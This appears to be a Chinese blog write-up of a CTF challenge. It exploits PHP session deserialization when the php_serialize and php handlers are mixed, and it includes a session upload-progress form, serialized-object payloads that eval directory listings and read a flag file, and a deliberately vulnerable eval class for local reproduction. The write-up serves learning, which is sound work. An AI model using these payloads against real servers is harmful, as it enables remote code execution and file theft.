0x00前言:php
php存儲session有三種模式,php_serialize, php, binaryhtml
這裏着重討論php_serialize和php的不合理使用致使的安全問題java
關於session的存儲,java是將用戶的session存入內存中,而php則是將session以文件的形式存儲在服務器某個tmp文件中,能夠在php.ini裏面設置session.save_path存儲的位置web
設置序列化規則則是shell
注意,php_serialize在5.5版本後新加的一種規則,5.4及以前版本,若是設置成php_serialize會報錯數組
session.serialize_handler = php 一直都在 它是用 |分割
session.serialize_handler = php_serialize 5.5以後啓用 它是用serialize反序列化格式分割
首先看session.serialize_handler = php序列化的結果安全
它的規則是$_SESSION是個數組,數組中的鍵和值中間用 | 來分割,值若是是數組或對象按照序列化的格式存儲服務器
而後看看session.serialize_handler = php_serialize的序列化結果session
它是全程按照serialize的格式序列化了$_SESSION這個數組函數
它比php的格式多了個最前面多了個 "a:2:{ ...." 也就是$_SESSION這個數組有2個元素,還有個區別在於,它的鍵名也代表了長度和屬性,中間用 ; 來隔開鍵值對
雖然2個序列化格式自己沒有問題,可是若是2個混合起用就會形成危害
造成原理是在用session.serialize_handler = php_serialize存儲的字符能夠引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值時 "|"會被當成鍵值對的分隔符
好比,我先用php存了個數組,在$_SESSION['b']的值裏面加入 | ,並在以後寫成一個數組的序列化格式
若是正常的用php_serialize解析,它返回的是$_SESSION['b']是個長度爲44的字符串
若是用php進行解析,發現它理解爲一個很長的名字的值是一個帶了2個元素的數組
0x01一道CTF題目:
題目是道網上經常拿來作例子的一道php反序列化題目
題目鏈接:http://web.jarvisoj.com:32784/
源碼已經給出,以下
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
可以查看phpinfo,因而發現全局用的php_serialize進行序列化,而這個頁面是以php來進行解析的
那麼能夠利用上面的理論進行事先準備個$this->mdzz= 'payload' 進行攻擊
問題是怎麼將payload寫入session,這裏php有個上傳文件的會將文件名寫入session的技巧
https://bugs.php.net/bug.php?id=71101
原文意思大體要求知足如下2個條件就會寫入到session中
session.upload_progress.enabled = On
上傳一個字段的屬性名和session.upload_progress.name的值相,這裏根據上面的phpinfo信息看得出,值爲PHP_SESSION_UPLOAD_PROGRESS,即
name="PHP_SESSION_UPLOAD_PROGRESS"
寫好腳本
<html> <head> <title>upload</title> </head> <body> <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" /> <input type="file" name="file" /> <input type="submit" /> </form> </body> </html>
注意這裏 "PHP_SESSION_UPLOAD_PROGRESS" 的 value不能爲空
這裏根據題目的類,須要修改mdzz這個屬性,因而寫個php生成payload,由於看看phpinfo的禁用函數,能調用系統的函數都被ban了,因而只能用var_dump,scandir和file_get_contents來讀取flag
<?php class OowoO { public $mdzz = "var_dump(scandir('./'));"; function __destruct() { eval($this->mdzz); } } $a = new OowoO(); echo serialize($a) . "<br>"; ?>
生成payload
O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}
固然這個是不行的,咱們要稍微改一下,"要轉義,前面加個|
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:24:\"var_dump(scandir('./'));\";}
先隨便傳個文件,把包抓下來,把文件名改爲咱們的payload
可以查看到根目錄的狀況了
網上有個payload是直接用
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
我由於太菜最早沒想到,因而去看了下phpinfo的session的存放位置,有個/opt/lampp/估計是裝的的xampp這個集成的環境,而這個集成環境的web頁面放在htdocs目錄下的
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"var_dump(scandir('/opt/lampp/'));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir('/opt/lampp/htdocs/'));\";}
看到flag文件了
接下來是讀取,這裏額外提一句file_put_contents和fie_get_contents可以使用php://filter僞協議,但這裏用var_dump導出來,不是文件包含,看下源碼就能找打答案
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));\";}
0x03環境復現:
由於最早學習這道題的時候想看看session文件,因而在本地搭建了個環境
<?php ini_set('session.serialize_handler', 'php'); session_start(); var_dump($_SESSION); echo "<br>"; class test { public $wd; function __destruct() { eval($this->wd); } } ?>
最早我用一個文件直接生產用php_serialize規則序列化並直接存在session中
而後訪問模擬搭建的頁面,漏洞可以利用成功
因而我改用文件上傳的形式,結果死活無法生成正確的session
再看看session文件,啥都沒寫入
這是爲何,想了一夜,看了看phpinfo的信息,上傳保留session的enabled是默認開啓的,session.upload_progress.name也是默認
上傳的html頁面能在上面的ctf題中成功運行,說明不是上傳的請求頭格式問題
payload若是寫入session文件中也能正常觸發phpinfo
可是如今的問題是session寫不進去,因而估計是配置問題了。
我再讀了遍:https://bugs.php.net/bug.php?id=71101
發現它給出它的運行環境的配置,因而我按照它的ini對應的配置,再配了遍本身的php.ini,發現不少配置都是被註釋掉的,也就是默認的值
最後成功執行了
session文件也寫入了,能夠仔細看看寫的session文件內容
由於用php解析了,爲了使解析格式正確,它直接丟掉了些 },若是正常解析的話,能夠看出多了不少鍵值對,可是正是由於用php解析, |前面的全部字符都當作鍵名,然後面的payload則被反序列化,形成漏洞利用
再回到爲何以前不行,如今能夠運行的問題上,最後我測試了是 session.upload_progress.cleanup這個參數
session.upload_progress.cleanup = Off
這個要爲Off或者0,才能將上傳的內容保存到session,可是,php默認的是On,全部最早死活傳不上去